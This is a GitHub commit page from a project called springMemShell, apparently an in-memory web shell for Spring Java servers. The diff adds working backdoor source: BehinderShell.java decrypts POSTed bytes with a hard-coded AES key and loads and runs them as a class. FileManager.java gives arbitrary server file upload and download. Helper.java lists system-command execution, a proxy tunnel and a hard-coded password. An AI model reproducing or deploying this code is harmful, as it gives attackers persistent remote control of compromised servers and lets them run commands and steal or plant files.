-
Notifications
You must be signed in to change notification settings - Fork 28
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
099e03e
commit 34c16f9
Showing
27 changed files
with
392 additions
and
84 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
Binary file not shown.
46 changes: 46 additions & 0 deletions
46
springMemShell/src/main/java/com/stdout/Models/BehinderShell.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
package com.stdout.Models; | ||
|
||
import com.stdout.Utils.Redefine.MyReader; | ||
import com.stdout.Utils.Redefine.MyRequest; | ||
import com.stdout.Utils.Redefine.MyServletAttributes; | ||
import com.stdout.Utils.Redefine.MySession; | ||
|
||
import javax.crypto.Cipher; | ||
import javax.crypto.spec.SecretKeySpec; | ||
|
||
public class BehinderShell { | ||
class U extends ClassLoader { | ||
U(ClassLoader c) { | ||
super(c); | ||
} | ||
public Class g(byte []b) { | ||
return super.defineClass(b,0,b.length); | ||
} | ||
} | ||
|
||
public static boolean isStarted = false; | ||
|
||
public void start(Object servlet) throws Exception { | ||
Object request = MyServletAttributes.getRequest(servlet); | ||
|
||
if (MyRequest.getMethod(request).equals("POST")) { | ||
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ | ||
String k = "e45e329feb5d925b"; | ||
Object session = MyRequest.getSession(request); | ||
MySession.putValue(session, "u", k); | ||
Cipher c = Cipher.getInstance("AES"); | ||
c.init(2, new SecretKeySpec(k.getBytes(), "AES")); | ||
Object reader = MyRequest.getReader(request); | ||
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(MyReader.readline(reader)))).newInstance().equals(servlet); | ||
} | ||
|
||
} | ||
|
||
public static void run(Object servlet) throws Exception { | ||
if (!BehinderShell.isStarted) { | ||
new BehinderShell().start(servlet); | ||
} | ||
} | ||
} | ||
|
||
|
59 changes: 57 additions & 2 deletions
59
springMemShell/src/main/java/com/stdout/Models/FileManager.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,65 @@ | ||
package com.stdout.Models; | ||
|
||
import com.stdout.Utils.Redefine.*; | ||
|
||
import java.io.File; | ||
import java.io.FileInputStream; | ||
import java.io.FileOutputStream; | ||
import java.nio.ByteBuffer; | ||
import java.util.Base64; | ||
|
||
public class FileManager { | ||
public static String download(String path) { | ||
String result = ""; | ||
public static void download(Object response, String path) throws Exception { | ||
try { | ||
MyResponse.setContentType(response, "multipart/form-data"); | ||
MyResponse.setCharacterEncoding(response, "utf-8"); | ||
File file = new File(path); | ||
String fileName = file.getName(); | ||
MyResponse.setHeader(response, "Content-Disposition", "attachment;fileName=" + fileName); | ||
|
||
ByteBuffer br = ByteBuffer.allocate(513); | ||
FileInputStream f = new FileInputStream(file); | ||
int byteRead = f.read(br.array()); | ||
while (byteRead > 0) { | ||
byte[] data = new byte[byteRead]; | ||
System.arraycopy(br.array(), 0, data, 0, byteRead); | ||
Object outputStream = MyResponse.getOutputStream(response); | ||
MyServletOutputStream.write(outputStream, data, 0, byteRead); | ||
br.clear(); | ||
byteRead = f.read(br.array()); | ||
} | ||
f.close(); | ||
} catch (Exception e) { | ||
return; | ||
} | ||
} | ||
|
||
public static String uploadView() throws Exception { | ||
String result = MyReader.readSource("upload.html"); | ||
|
||
return result; | ||
} | ||
|
||
public static String upload(Object request) throws Exception { | ||
String result = ""; | ||
try { | ||
String path = MyRequest.getParameter(request, "path"); | ||
String file = MyRequest.getParameter(request, "file").replaceAll("\n", "").replaceAll("\r", ""); | ||
String mode = MyRequest.getParameter(request, "mode"); | ||
FileOutputStream f; | ||
if (mode.equals("append")) { | ||
f = new FileOutputStream(path, true); | ||
} else { | ||
f = new FileOutputStream(path, false); | ||
} | ||
f.write(Base64.getDecoder().decode(file)); | ||
f.close(); | ||
result += "upload success, you file is at ==> " + path; | ||
} catch (Exception e) { | ||
result += e.getMessage(); | ||
e.printStackTrace(); | ||
result += "upload failed, please check the content"; | ||
} | ||
return result; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
39 changes: 39 additions & 0 deletions
39
springMemShell/src/main/java/com/stdout/Models/Helper.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
package com.stdout.Models; | ||
|
||
public class Helper { | ||
public static String help() { | ||
String result = ""; | ||
result += "models: \n"; | ||
|
||
result += "\t 1. exec ==> execute system command\n"; | ||
result += "\t\t param: cmd\n\n"; | ||
|
||
result += "\t 2. exit ==> remove the SpringMemShell\n"; | ||
result += "\t\t param: \n\n"; | ||
|
||
result += "\t 3. fish ==> static fish\n"; | ||
result += "\t\t action ==> start\n"; | ||
result += "\t\t\t param: target file\n\n"; | ||
result += "\t\t action ==> stop\n"; | ||
result += "\t\t\t param: \n\n"; | ||
result += "\t\t action ==> show\n"; | ||
result += "\t\t\t param: \n\n"; | ||
|
||
result += "\t 4. proxy ==> Neo-reGeorg proxy\n"; | ||
result += "\t\t param: \n\n"; | ||
|
||
result += "\t 5. file ==> file manager\n"; | ||
result += "\t\t action ==> upload\n" + | ||
"<font color='red'>" + | ||
"Notice: upload file is at (use post)password=stdout&model=file" + | ||
"</font>"; | ||
result += "\t\t action ==> download\n"; | ||
result += "\t\t\t param: path\n\n"; | ||
|
||
|
||
|
||
|
||
|
||
return result; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
31 changes: 0 additions & 31 deletions
31
springMemShell/src/main/java/com/stdout/Utils/MyRequest.java
This file was deleted.
Oops, something went wrong.
7 changes: 0 additions & 7 deletions
7
springMemShell/src/main/java/com/stdout/Utils/MyServletInputStream.java
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
19 changes: 19 additions & 0 deletions
19
springMemShell/src/main/java/com/stdout/Utils/Redefine/MyMultipartFile.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
package com.stdout.Utils.Redefine; | ||
|
||
import java.io.File; | ||
|
||
public class MyMultipartFile { | ||
|
||
public static String getOriginalFilename(Object file) throws Exception { | ||
return (String) file.getClass().getDeclaredMethod("getOriginalFilename", null).invoke(file, new Object[] {}); | ||
} | ||
|
||
public static void transferTo(Object file, String path) throws Exception { | ||
File dst = new File(path); | ||
file.getClass().getDeclaredMethod("transferTo", File.class).invoke(file, dst); | ||
} | ||
|
||
public static boolean isEmpty(Object file) throws Exception { | ||
return (boolean) file.getClass().getDeclaredMethod("isEmpty", null).invoke(file, new Object[] {}); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.